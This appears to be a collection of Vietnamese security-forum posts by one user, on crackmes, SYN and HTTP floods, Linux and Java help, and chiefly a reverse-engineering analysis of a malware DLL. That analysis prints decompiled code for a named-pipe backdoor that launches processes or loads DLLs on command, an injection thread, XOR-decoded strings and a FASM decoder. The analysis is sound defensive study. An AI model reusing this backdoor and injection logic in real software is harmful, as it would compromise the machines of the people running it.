|
|
Bạn mã hoá kiểu gì đi nữa, nhưng muốn cho người khác đọc thì cũng phải cho người ta khoá để giải mã, mà giải mã xong rồi kiểu gì cũng có cách sửa được. Có điều nếu bạn dùng Digital Signature thì người ta sẽ không làm giả được cái Sign đó thôi.
|
|
|
Cái crackme này nó dùng Overlay Data, bạn tìm bên tuts4you có bài nói về cái này rồi đấy.
|
|
|
Tui hiểu không lầm thì cái việc download này chỉ thực hiện một(vài) lần, và ở phía người gửi thư lúc soạn thư dưới dạng file đính kèm, nên nếu có vấn đề gì với cookie hay XSS thì nó xảy ra với người gửi chứ không phải người nhận, chắc không có hách cơ nào tự đi chôm cookie của chính mình
|
|
|
Chung ý kiến với jin9x, cách này còn giúp download được một url mà không lộ mình là ai giống như sử dụng proxy.
Mình nghĩ đến một trường hợp hơi vòng vèo tí, kiểu như hva chẳng hạn, nếu như anh conmale có làm thêm email server trên cùng server với forum, trên forum có policy là chỉ cho phép user admin được truy cập được từ localhost, thì có thể nhờ cái email với attachment này truy vấn vào localhost.
|
|
|
Http-flood thì nó tạo ra hàng loạt http request đẩy đến server, nếu server này phải thao tác với database/hoặc các thao tác chậm chạp mà không được xử lý tốt thì cũng tuơng đối vất vả
|
|
|
tớ chưa có chạy thử cái tool của bạn nhưng mà chắc không phải tool sync flood.
Thứ nhất, nó tên là httpfu**ker , http thì khỏi nói sync flood.
Thứ hai là muốn sync flood thì phải dùng raw socket, trên các bản windows gần đây đã hạn chế rất nhiều việc sử dụng raw socket, mình nhìn mấy file exe + ocx thì chắc là không qua được cửa để tạo raw socket dùng cho sync flood được rồi .
|
|
|
SYNC flood attack thì lúc đó kết nối mới đang ở giai đoạn khởi tạo thôi, kết nối chưa hoàn toàn được hình thành, 3 bước kết nối thì làm giữa chừng đã bỏ ngỏ rồi. Còn TIME_WAIT là trạng thái chờ đóng kết nối (mà đã được khởi tạo xong hoàn toàn từ trước). Do vậy sẽ sync flood sẽ không ảnh hưởng đến số TIME_WAIT socket.
|
|
|
@crazym: Vấn đề bạn test thử sync flood và TIME_WAIT có vẻ không ăn nhập với nhau lắm.
sync flood thông thường thì bạn chỉ cần enable sync cookie lên là được rồi, TIME_WAIT thì kết nối đã hình thành rồi, không còn liên quan đến sync flood nữa, TIME_WAIT khoảng 1000 như của bạn nhưng nếu ổn định không tăng và hệ thống vẫn chạy thông suốt thì không cần phải lo lắng.
|
|
|
Mình đã cài driver G310 này rồi, vẫn dùng được nhưng mà cũng có tí lỗi. Cài đặt kernel source, lấy driver của geforce trên web về cài, ok xong, mình thường chạy ở init level 3, boot vào terminal rồi mới startx, khi logout khỏi gnome thì màn hình cũng bị đen sì, đợt này cũng lười nên chưa xem củ tỉ thế nào nữa, dùng driver G310 sẵn có của centos thì không bị như vậy.
|
|
|
Mấy chỗ nó kết nối http ra ngoài hình như đọc địa chỉ từ pipe, em chưa đụng tới mấy cái đó.
Em tay bo decode chỗ kia dùng olly thôi, em đang tính cách làm tool chạy decode kiểu này về sau dùng .
|
|
|
một ít em xem được từ dao360.dll
Code:
.code:10005174 push "%CSIDL_APPDATA%" ; csidl
.code:10005176 lea ecx, [esp+630h+FileName] ; Load Effective Address
.code:1000517D push ecx ; pszPath
.code:1000517E push ebx ; hwnd
.code:1000517F mov [esp+638h+NumberOfBytesWritten], ebx
.code:10005183 call ds:SHGetSpecialFolderPathW ; Indirect Call Near Procedure
.code:10005183
.code:10005189 test eax, eax ; Logical Compare
.code:1000518B jnz short loc_100051A5 ; Jump if Not Zero (ZF=0)
.code:1000518B
.code:1000518D pop ebx
.code:1000518E mov ecx, [esp+624h+var_4]
.code:10005195 xor ecx, esp ; Logical Exclusive OR
.code:10005197 call check_esp ; Call Procedure
.code:10005197
.code:1000519C add esp, 624h ; Add
.code:100051A2 retn 8 ; Return Near from Procedure
.code:100051A2
.code:100051A5 ; ---------------------------------------------------------------------------
.code:100051A5
.code:100051A5 loc_100051A5: ; CODE XREF: sub_10005120+6Bj
.code:100051A5 push ebp
.code:100051A6 push edi
.code:100051A7 lea edx, [esp+630h+pMore] ; Load Effective Address
.code:100051AB push edx
.code:100051AC mov eax, offset sz2F0D4D010D1E1A0E207C300A1B0406060F110D2632 ; "2F0D4D010D1E1A0E207C300A1B0406060F110D2"...
.code:100051B1 call decryptString ; \Identities\Thumbs.db
File thumbs.db này chứa dữ liệu thu thập, mã hoá bằng xor.
Code:
.code:1000527A mov edi, [esp+630h+arg_0]
.code:10005281 push 4 ; flProtect
.code:10005283 push 1000h ; flAllocationType
.code:10005288 inc edi ; Increment by 1
.code:10005289 push edi ; dwSize
.code:1000528A push 0 ; lpAddress
.code:1000528C call ds:VirtualAlloc ; Reserves or commits a region of pages in the virtual address space of the calling process.
.code:1000528C ; Memory allocated by this function is automatically initialized to zero, unless MEM_RESET is specified.
.code:1000528C
.code:10005292 mov ebx, eax
.code:10005294 push ebx
.code:10005295 mov ecx, esi
.code:10005297 call private_encrypt_xor ; Call Procedure
các string decode được từ dao360.dll
file IDA6.1 em đang phân tích ở đây http://www.mediafire.com/?3m3asb44lgfy3uk
Nhìn trong mớ string decode được thì còn vài file dll nữa chưa có trong chỗ anh TQN up lên, reverse đủ bộ chắc oải quá.
|
|
|
conmale wrote:
Lạ thiệt. Tìm không ra. Em có nhớ chủ đề này được tạo ra khoảng thời gian nào không?
Vào khoảng ngày 15-06 gì đó anh, em có download file của anh TQN share trong chủ đề đó, thấy file last modify vào 15 tháng 6.
|
|
|
conmale wrote:
TQN wrote:
À mà quên chứ, sẵn tiện em hỏi luôn, topic về RCE x84 của em lập ai xoá mất tiêu rồi vậy. Em tính post thêm vài "meo què" của STL build ở mode x64 nhằm và Vista và Win7 64bit mà ?
Ủa? Chủ đề đó em post trong mục nào vậy? Anh không nghĩ có ai xoá đâu em.
Em tạo chủ đề đó ngày nào? Cho anh biết để anh lục lại coi?
PS: đám STL này có lẽ nghĩ rằng họ "invisible" .
chủ đề đó tên là Introduction x64 reverse engineering gì đó, link hình như thế này https://www.hvaonline.net/hvaonline/posts/list/39189.html nhưng mà giờ không vào được nữa anh.
|
|
|
Mình giới thiệu thêm cái Infobright.org, có thể sẽ áp dụng được, Infobright được tối ưu để lưu trữ và truy vấn(Dataware house).
|
|
|
Cũng có khá nhiều tool để debug tốt như OllyDBG, IDA, Windbg ... chủ yếu là mình quen cái nào thì dùng thích thôi. Analyze thì chắc IDA là số một rồi, Olly khi chạy trên win7 không được ổn định lắm, nếu bạn quen Olly hơn thì cài máy ảo XP mà dùng. Mình thì thường dùng cả Olly và IDA.
|
|
|
Em tham gia tí
Code:
.code:10001D00 ; DWORD __stdcall StartAddress(LPVOID)
.code:10001D00 StartAddress proc near ; DATA XREF: ThreadAProc+23o
.code:10001D00 push ebp
.code:10001D01 mov ebp, esp
.code:10001D03 and esp, 0FFFFFFF8h ; Logical AND
.code:10001D06 push ecx
.code:10001D07 push esi
.code:10001D08 mov esi, ds:Sleep ; Suspends the execution of the current thread for at least the specified interval.
.code:10001D0E mov edi, edi
.code:10001D0E
.code:10001D10
.code:10001D10 loc_10001D10: ; CODE XREF: StartAddress+19j
.code:10001D10 call readPipeTokenExec ; Token input from pipeline using delimiter '\09'
.code:10001D10 ; in format type|libname|parameter
.code:10001D10
.code:10001D15 push 100 ; dwMilliseconds
.code:10001D17 call esi ; Sleep ; Indirect Call Near Procedure
.code:10001D17
.code:10001D19 jmp short loc_10001D10 ; Jump
.code:10001D19
.code:10001D19 StartAddress endp
Code:
// Token input from pipeline using delimiter '\09'
// in format type|libname|parameter
int __cdecl readPipeTokenExec()
{
void *v0; // eax@1
void *v1; // ebp@1
int tokenCnt; // edi@4
wchar_t *aToken; // esi@4
wchar_t *v4; // eax@8
const WCHAR v5; // cx@9
__int16 *v6; // eax@12
__int16 v7; // cx@13
char v9; // [sp+10h] [bp-2874h]@1
int exeType; // [sp+14h] [bp-2870h]@1
DWORD NumberOfBytesRead; // [sp+18h] [bp-286Ch]@1
wchar_t *Context; // [sp+1Ch] [bp-2868h]@1
struct _PROCESS_INFORMATION ProcessInformation; // [sp+20h] [bp-2864h]@1
struct _STARTUPINFOW StartupInfo; // [sp+30h] [bp-2854h]@1
const WCHAR LibFileName; // [sp+78h] [bp-280Ch]@1
char v16; // [sp+7Ah] [bp-280Ah]@1
__int16 Buffer; // [sp+878h] [bp-200Ch]@1
char v18; // [sp+87Ah] [bp-200Ah]@1
__int16 createProcessParam; // [sp+1078h] [bp-180Ch]@1
char v20; // [sp+107Ah] [bp-180Ah]@1
WCHAR CommandLine; // [sp+1878h] [bp-100Ch]@1
char v22; // [sp+187Ah] [bp-100Ah]@1
unsigned int v23; // [sp+287Ch] [bp-8h]@1
v23 = (unsigned int)&v9 ^ dword_1001201C;
Buffer = 0;
memset(&v18, 0, 0x7FEu);
LibFileName = 0;
memset(&v16, 0, 0x7FEu);
createProcessParam = 0;
memset(&v20, 0, 0x7FEu);
CommandLine = 0;
memset(&v22, 0, 0xFFEu);
NumberOfBytesRead = 0;
exeType = 0;
Context = 0;
memset(&StartupInfo.lpReserved, 0, 0x40u);
ProcessInformation.hProcess = 0;
ProcessInformation.hThread = 0;
ProcessInformation.dwProcessId = 0;
ProcessInformation.dwThreadId = 0;
StartupInfo.cb = 68;
StartupInfo.dwFlags = 1;
StartupInfo.wShowWindow = 0;
v0 = (void *)mCreatePipe((const WCHAR *)dword_NamedPipe);
v1 = v0;
if ( v0 != (void *)-1 && ConnectNamedPipe(v0, 0) )
{
memset(&Buffer, 0, 2048u);
memset((void *)&LibFileName, 0, 0x800u);
memset(&createProcessParam, 0, 0x800u);
memset(&CommandLine, 0, 0x1000u);
while ( ReadFile(v1, &Buffer, 0x400u, &NumberOfBytesRead, 0) )
{
aToken = wcstok_s((wchar_t *)&Buffer, &Delim, &Context);
tokenCnt = 0;
while ( aToken )
{
if ( tokenCnt )
{
if ( tokenCnt == 1 )
{
v4 = aToken;
do
{
v5 = *v4;
*(wchar_t *)((char *)v4 + (char *)&LibFileName - (char *)aToken) = *v4;
++v4;
}
while ( v5 );
}
else
{
if ( tokenCnt == 2 )
{
v6 = (__int16 *)aToken;
do
{
v7 = *v6;
*(__int16 *)((char *)v6 + (char *)&createProcessParam - (char *)aToken) = *v6;
++v6;
}
while ( v7 );
}
}
}
else
{
exeType = _wtoi(aToken);
}
aToken = wcstok_s(0, &Delim, &Context);
++tokenCnt;
Sleep(0);
}
switch ( exeType )
{
case 1:
if ( IsExistPEFile(&LibFileName) )
{
wrap_vprintf((const char *)L"%s %s", &LibFileName, &createProcessParam);
CreateProcessW(0, &CommandLine, 0, 0, 0, 0x8000020u, 0, 0, &StartupInfo, &ProcessInformation);
}
break;
case 2:
if ( isExist_PE_Dll_File(&LibFileName) )
LoadLibraryW(&LibFileName);
break;
case 99:
goto LABEL_23;
}
memset(&Buffer, 0, 0x800u);
memset((void *)&LibFileName, 0, 0x800u);
memset(&createProcessParam, 0, 0x800u);
memset(&CommandLine, 0, 0x1000u);
}
LABEL_23:
DisconnectNamedPipe(v1);
}
DisconnectNamedPipe(v1);
if ( v1 )
CloseHandle(v1);
return 0;
}
Thread này tạo vòng lặp, đọc namedpipe "\\\\.\\pipe\\NannedPipe" lấy tham số để gọi chạy process mới hoặc load DLL. Mỗi dòng đọc được từ pipeline sẽ được tách thành 3 tokens.
Token1: giá trị = 1 ứng với file executable, giá trị = 2 ứng với file DLL.
Token2: đường dẫn đến executable hoặc DLL.
Token3: parameter để chạy chuơng trình.
token được phân tách dùng kí tự '\09'
đây có thể là một file che dấu dưới dạng chuơng trình tin cậy, duy trì lâu dài để spawn ra các process mới.
Thread thứ 2 làm nhiệm vụ duyệt danh sách process, dùng các kĩ thuật dạng CreateRemoteThread để inject module sang:
Code:
int __cdecl ThreadAProc()
{
DWORD v0; // edi@1
DWORD v1; // esi@1
FARPROC IsWow64Process_; // ebx@3
HMODULE kernelModuleHandle; // eax@3
HANDLE currentProcess; // eax@4
int encVersion; // eax@5
int isWow64; // [sp+Ch] [bp-4h]@3
v0 = 0;
v1 = 0;
if ( hModule )
sub_10002900();
decodeBuildFilePath();
CreateThread(0, 0, StartAddress, 0, 0, 0);
isWow64 = 0;
kernelModuleHandle = GetModuleHandleW(L"kernel32");
IsWow64Process_ = GetProcAddress(kernelModuleHandle, "IsWow64Process");
if ( IsWow64Process_ )
{
currentProcess = GetCurrentProcess();
((void (__stdcall *)(HANDLE, int *))IsWow64Process_)(currentProcess, &isWow64);
}
encVersion = getEncodedOSVersion();
if ( !isWow64 )
{
if ( encVersion == 4 || encVersion == 6 || encVersion == 7 )
v0 = sub_100020E0();
scheJobNtXP20037((void *)v0);
while ( 1 )
{
Sleep(600000u);
scheJobNtXP20037((void *)v0);
}
}
if ( encVersion == 8 || encVersion == 5 )
{
while ( 1 )
{
Sleep(600000u);
v1 = scheJobV8n5(v1);
}
}
return 0;
}
|
|
|
Validate phía client bằng javascript chỉ mang tính tiện ích, một user hoàn toàn bypass tất cả những đoạn check của bạn ở phía client(sử dụng javascript), nên phía server phải kiểm tra lại tất.
|
|
|
Vài string em decode được, em không rành RCE nên ngồi xem, học hỏi là chính thôi ah
98 9A 91 9A 8D 9E 93 D1+src dd 9A919A98h, 0D1939E8Dh, 0D0939287h, 0
--> /general.xml
15170 ; char dword_10015170[]
_0000128C:10015170 D1 CF 9A DF 8B DF D3 8B+dword_10015170 dd 0DF9ACFD1h, 8BD3DF8Bh, 93DFDF8Dh, 0D1AA9E88h, 0DFD3D1F5h, 0DA9C9A97h, 938CCF9Ah, 0CED08B85h
_0000128C:10015170 8D DF DF 93 88 9E AA D1+ ; DATA XREF: ThreadProc+2C4o
_0000128C:10015170 F5 D1 D3 DF 97 9A 9C DA+ ; ThreadProc+2DFo
_0000128C:10015170 9A CF 8C 93 85 8B D0 CE+ dd 0D19CCE91h, 91B99092h, 969B87ACh, 0D19AD0F2h, 0BED0AAD1h, 8EDFABF5h, 0C5B28790h, 0C9BCCDABh
_0000128C:10015170 91 CE 9C D1 92 90 B9 91+ dd 0F597D093h, 91D296CEh, 90DA8F96h, 0DFC2C590h, 0B8CC8D90h, 9391D5CCh, 90B78FC5h, 938FABF2h
_0000128C:10015170 AC 87 9B 96 F2 D0 9A D1+ dd 9CCBCE8Bh, 9ED7969Ah, 8DBC9AC5h, 8C8B8CC4h, 0D5CDF2C9h, 9C918BA8h, 0DFD19C8Ch, 0CE9A96D3h
_0000128C:10015170 D1 AA D0 BE F5 AB DF 8E+ dd 9EC491CFh, 968C93CFh, 9092C4C5h, 0F2CCF59Ch, 87C4C6C6h, 0B8DFBE98h, 909288C2h, 90CFAFDFh
_0000128C:10015170 90 87 B2 C5 AB CD BC C9+ dd 8BCA96D1h, 0AA90DFB7h, 8C9391D0h, 0CFCE8C87h, 0F2D291DFh, 9BC4D6BAh, 0AB8BDFD4h, 8FDFF5D0h
_0000128C:10015170 93 D0 97 F5 CE 96 D2 91+ dd 0CFF2D09Eh, 0A890918Bh, 9399DF8Fh, 96C48E89h, 0D1F5D19Ah, 8B9296D0h, 0C794DF9Ah, 87939EB1h
_0000128C:10015170 96 8F DA 90 90 C5 C2 DF+ dd 0
-->
GET %s HTTP/1.1
Host: %s
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: Close
FF 99 FF B2 dword_10015264 dd 0B2FF99FFh ; DATA XREF: sub_10002B70+6Do
_0000128C:10015264 ; sub_10002B70+87o
_0000128C:10015268 FF A3 FF 90 dd 90FFA3FFh
_0000128C:1001526C FF 8B FF BC dd 0BCFF8BFFh
_0000128C:10015270 FF 8C FF 9E dd 9EFF8CFFh
_0000128C:10015274 FF B2 FF 90 dd 90FFB2FFh
_0000128C:10015278 FF 9B FF B2 dd 0B2FF9BFFh
_0000128C:1001527C FF 8D FF D1 dd 0D1FF8DFFh
_0000128C:10015280 FF A3 FF 9C dd 9CFFA3FFh
_0000128C:10015284 FF 97 FF 8B dd 8BFF97FFh
_0000128C:10015288 FF 96 FF 97 00 00 00 00+ dd 97FF96FFh, 5 dup(0)
-->
UNICODE: Microsoft\MMC\hh.dat
Em thấy có mấy chỗ nữa call Decode nhưng mà chỗ nào put thẳng src vào thì em decode đuơc, chỗ nào gọi qua ref đến register thì em chịu, chưa tìm được src nó trỏ đến đâu.
đây là đoạn fasm em dùng để decode, bác nào tìm được ref thì cho vào chạy
format PE console
;CRT fix 'msvcrt.dll'
include 'win32ax.inc'
.data
src dd 9A919A98h, 0D1939E8Dh, 0D0939287h, 0
s2 dd 0DF9ACFD1h, 8BD3DF8Bh, 93DFDF8Dh, 0D1AA9E88h, 0DFD3D1F5h, 0DA9C9A97h, 938CCF9Ah, 0CED08B85h
dd 0D19CCE91h, 91B99092h, 969B87ACh, 0D19AD0F2h, 0BED0AAD1h, 8EDFABF5h, 0C5B28790h, 0C9BCCDABh
dd 0F597D093h, 91D296CEh, 90DA8F96h, 0DFC2C590h, 0B8CC8D90h, 9391D5CCh, 90B78FC5h, 938FABF2h
dd 9CCBCE8Bh, 9ED7969Ah, 8DBC9AC5h, 8C8B8CC4h, 0D5CDF2C9h, 9C918BA8h, 0DFD19C8Ch, 0CE9A96D3h
dd 9EC491CFh, 968C93CFh, 9092C4C5h, 0F2CCF59Ch, 87C4C6C6h, 0B8DFBE98h, 909288C2h, 90CFAFDFh
dd 8BCA96D1h, 0AA90DFB7h, 8C9391D0h, 0CFCE8C87h, 0F2D291DFh, 9BC4D6BAh, 0AB8BDFD4h, 8FDFF5D0h
dd 0CFF2D09Eh, 0A890918Bh, 9399DF8Fh, 96C48E89h, 0D1F5D19Ah, 8B9296D0h, 0C794DF9Ah, 87939EB1h
dd 0
;56*4
s3 dd 0B2FF99FFh
dd 90FFA3FFh
dd 0BCFF8BFFh
dd 9EFF8CFFh
dd 90FFB2FFh
dd 0B2FF9BFFh
dd 0D1FF8DFFh
dd 9CFFA3FFh
dd 8BFF97FFh
dd 97FF96FFh, 5 dup(0)
dst db 2048 dup(0)
.code
start:
stdcall Decode,9108Dh,0D9E61h,s3,dst,10*4
invoke ExitProcess,0
Decode:
db 8Bh,44h,24h,04h,56h,8Bh,74h,24h,18h
db 33h,0C9h,99h,0F7h,0FEh,85h,0F6h,7Eh
db 2Bh,53h,8Bh,5Ch,24h,10h,55h,8Bh,6Ch
db 24h,18h,57h,8Bh,7Ch,24h,20h,0Ch,0FFh
db 2Ah,04h,29h,88h,04h,3Ah,8Dh,04h,1Ah
db 99h,0F7h,0FEh,41h,3Bh,0CEh,7Ch,0EDh
db 5Fh,5Dh,5Bh,33h,0C0h,5Eh,0C2h,14h,00h
.end start
|
|
|
Em oánh Google ra được cái này http://www.derkeiler.com/Mailing-Lists/securityfocus/Secure_Shell/2010-06/msg00012.html
Tóm tắt lại là do 2 máy đã gửi qua nhau packet có kích thước > MTU dẫn đến packet bị drop, việc này lại có lý do trước đó là quá trình discovery giá trị MTU trên "PATH"(con đường kết nối 2 host, bao gồm các router .. trung gian) không thành công. Thử một vài cách như này:
1. Giảm MTU đến khi hết lỗi.
2. Tìm xem thằng nào chặn ICMP discovery PMTU thì thiết đặt lại cho phép ICMP discovery PMTU.
|
|
|
Bạn cài windows xp hay Win7 vậy? nếu bạn cài Winxp thì vào BIOS chuyển cái AHCI sang Compatible mode xem có được ko nhé.
|
|
|
Không có gì đảm bảo rằng bạn decompile 1 file .class -> .java rồi lại dịch file .java sang .class được cả, nhất là với trường hợp file .class của bạn đã được obfuscate. Bởi do đặc tả của JVM "thoáng" hơn là đặc tả của Java language nên có một số điều được phép trong mã byte code nhưng không có mã tuơng ứng trong java language.
edit: không để ý ngày tháng lại đi đào xới rồi
|
|
|
pippihpv wrote:
Em thử cả online và offline rồi ạ. Nó báo lỗi
Cannot complete the install because one or more required items could not be found.
Software being installed: Visual Editor 1.5.0.R20101202-1328 (org.eclipse.ve.feature.group 1.5.0.R20101202-1328)
The operation cannot be completed. See the details.
bạn paste nốt cái details mà nó báo lên xem.
Install VE 1.5 into Eclipse 3.6 / Helios
Download and install one of the following standard Eclipse 3.6 Helios distributions for Java development:
- "Eclipse IDE for Java Developers"
- "Eclipse Classic 3.6.1"
- "Eclipse for RCP/Plug-in Developers"
- "Eclipse IDE for Java and Report Developers"
- "Eclipse IDE for Java EE Developers"
VE 1.5 requires EMF 2.4+, which requires JDK 5.0 or later.
|
|
|
bạn đã thử cài online chưa?, cài online thì eclipse có thể check dependencies giúp, lỗi ở đâu dễ nhận biết hơn, còn cài offline thì có thể eclipse của bạn còn thiếu gì đó làm VE cài không thành công chăng.
|
|
|
Olly không disassemly được mã .NET đâu bạn, bạn phải dùng mấy chuơng trình kiểu như là decompile ấy.
|
|
|
tớ cũng không rành linux nhưng mà tớ đoán là chỉ nên cấp acc bình thường thôi, thì sẽ không lo họ đổi pass của root, những command nào cho phép chạy mà cần quyền root thì có thể add thông qua sudo, cách khác là set super bit(cách này phải cần thận không là tèo ).
|
|
|
Code:
$ echo "[url=/hvaonline/posts/list/136.html]Su dung GRUB[/url]"|sed 's|\(\[url="\{0,1\}\([^]^"]*\)"\{0,1\}]\([^[]*\)\[/url]\)|<a href="\2" target="_blank">\3</a>|g'
<a href="/hvaonline/posts/list/136.html" target="_blank">Su dung GRUB</a>
ok, em mod lại thế này.
|
|
|
quanta wrote:
conmale wrote:
Lưu ý, chỉ có moderators và chỉ có một vài phân mục cho phép post dạng html.
OK anh. Cái này em đang muốn thảo luận trên phương diện kỹ thuật: sed, awk, tr, Perl, ... thôi anh à.
Code:
echo "[ url=/hvaonline/posts/list/136.html ]GRUB[ /url ]"|sed 's|\(\[[[:space:]]*url=\([^[:space:]]*\)[[:space:]]]\([^[\[]*\).*\)|<a href="\2">\3</a>|g'
<a href="/hvaonline/posts/list/136.html">GRUB</a>
lằng ngoằng mãi mới ra đc cái này
|
|
|
zjm_zjm wrote:
Sau khi học đi học lại nhiều lần (do mình hơi bị ngu ), và mình rắc rối với 2 keyword là
throw và throws, mình muốn hỏi ở đây là
Sự khác nhau giữa chúng và cách sử dụng chúng để đạt đựoc hiệu quá cao thanks
throws dùng trong định nghĩa method để chỉ ra các các Exception, Throwable mà method đó có thể bắn ra.
throw là keyword dùng để chủ động đẩy ra một Exception(Throwable) nào đó.
vd
Code:
public int testException(Integer a,Integer b) throws NullPointerException, InvalidParameterException{
if(a==null || b==null){
throw new NullPointerException();
}
if(b==0){
throw new InvalidParameterException("b is zero");
}
return a/b;
}
|
|
|
File class của bạn nằm trong thư mục hiện thời, thường thì thư mục hiện thời sẽ tự được add vào classpath, nhưng đôi khi lại không(không có gì đảm bảo điều này cả) nên tốt nhất là cứ tự chỉ ra classpath như bạn đã làm.
|
|
|
Mình muốn hỏi là liệu 1 file .exe hoặc .dll có thể ghi dữ liệu hay chèn code vào không , vì khi mình học VB.net ông thầy mình có nói .exe là file thực thi , chúng ta không thể đọc và sửa nó .
có thể đọc ghi được, còn muốn sau khi ghi đè xong mà nó vẫn chạy được thì cần hiểu và làm đúng theo format của loại file đó.
Điều nữa mình muốn hỏi là về vấn đề dịch ngược , vì khi mình viết 1 chương trình bằng VB.net >> quá trình biên dịch nó sẽ tạo ra 1 file.exe ( hình như là ra MSIL gì đó , mình không nhớ rõ lắm ) , mà MSIL thì có thể decompile lại dạng ngôn ngữ bậc cao , vậy thì mình viết 1 chương trình bằng VB.net rồi lại bị kẻ khác dịch ngược lại đọc code nguồn, vậy không có cách nào bảo mật sao.
có một số công cụ để làm code khi dịch ngược khó đọc hơn, nhưng mà cũng chỉ là khó đọc hơn thôi.
Xong mình có nghe 1 số người nói tất cả file .exe và .dll cho dù viết bằng ngôn ngữ nào thì cũng bị dịch ngược ra ASM hết , vậy mình hỏi là nếu ai ai cũng học ASM thật giỏi rồi đi dich ngược >> vậy thì sẽ biết được cách thức hoạt động , câu lệnh của phần mềm đó còn gì ?
có thể dịch ngược ra ASM được, nhưng mà nhìn vào cái mớ ASM đó có hiểu gì không mới là vấn đề )
|
|
|
|
|
|
|